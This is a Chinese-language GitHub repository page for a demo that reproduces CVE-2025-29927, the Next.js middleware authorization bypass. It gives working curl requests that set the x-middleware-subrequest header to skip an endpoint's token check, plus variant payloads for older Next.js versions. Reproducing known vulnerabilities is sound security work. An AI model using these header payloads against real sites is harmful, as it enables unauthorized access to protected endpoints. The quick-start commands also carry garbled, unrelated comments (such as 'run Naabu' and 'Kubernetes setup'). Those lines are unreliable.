lirantal/vulnerable-nextjs-14-CVE-2025-29927

GitHub: lirantal/vulnerable-nextjs-14-CVE-2025-29927

这是一个复现 Next.js 14 中 CVE-2025-29927 授权绕过漏洞的演示仓库。

Stars: 14 | Forks: 8

# CVE-2025-29927 授权绕过复现 此仓库复现了 `next` 包中的 [CVE-2025-29927](https://security.snyk.io/vuln/SNYK-JS-NEXT-9508709) 漏洞。 ## 复现步骤 1. 按照以下步骤克隆并运行此 Next.js 应用程序 2. 测试授权机制是否拒绝访问 `/api/hello` 端点 ``` $ curl http://localhost:3000/api/hello {"error":"Unauthorized"}% ``` 3. 测试当提供令牌时,授权机制是否有效 ``` $ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello {"message":"Hello World"}% ``` 4. 现在,如果我们把 `middleware` 嵌套 5 次放入特殊的 `x-middleware-subrequest` 请求头中,也可以绕过授权: ``` curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello {"message":"Hello, World"} ``` ## CVE-2025-29927 在旧版 Next.js 中的利用 Next.js 12 和 13 版本曾对中间件文件使用不同的命名约定(`_middleware.js`),这在 Next.js 14 中被更改为 `middleware.js`。此漏洞可以通过使用 `_middleware.js` 文件在旧版本中被利用。 例如,以下请求载荷将适用,具体取决于您的 Next.js 版本和路由约定: - `curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello`(适用于 Next.js 12.2 版本,其中 `middleware.js` 文件位于应用根目录,而非 `pages` 目录内) - `curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello` - `curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello`(适用于 Next.js 11 及更高版本直至 12.2) - `curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello` - `curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello` ## 快速开始 首先,运行开发服务器: ``` npm run dev # 运行 Naabu yarn dev # Kubernetes 设置 pnpm dev # API 参考 bun dev ``` 在浏览器中打开 [http://localhost:3000](http://localhost:3000) 查看结果。 您可以通过修改 `app/page.js` 开始编辑页面。当您编辑文件时,页面会自动更新。 此项目使用 [`next/font`](https://nextjs.org/docs/app/building-your-application/optimizing/fonts) 来自动优化和加载 [Geist](https://vercel.com/font),这是 Vercel 的一个新字体家族。 ## 了解更多 要了解更多关于 Next.js 的信息,请查看以下资源: - [Next.js 文档](https://nextjs.org/docs) - 了解 Next.js 功能和 API。 - [学习 Next.js](https://nextjs.org/learn) - 交互式 Next.js 教程。 您可以查看 [Next.js GitHub 仓库](https://github.com/vercel/next.js) - 我们欢迎您的反馈和贡献! ## 部署到 Vercel 部署 Next.js 应用最简单的方法是使用 Next.js 创建者提供的 [Vercel 平台](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme)。 查看我们的 [Next.js 部署文档](https://nextjs.org/docs/app/building-your-application/deploying) 了解更多详情。 ## 贡献指南 请参阅 [CONTRIBUTING](./CONTRIBUTING.md) 了解此项目的贡献指南。
标签:API安全, CISA项目, CVE-2025-29927, HTTP请求篡改, JavaScript框架漏洞, JSON输出, MITM代理, Node.js安全, Web安全, 中间件利用, 中间件绕过, 安全PoC, 授权绕过, 数据可视化, 漏洞复现, 网络安全, 自定义脚本, 蓝队分析, 隐私保护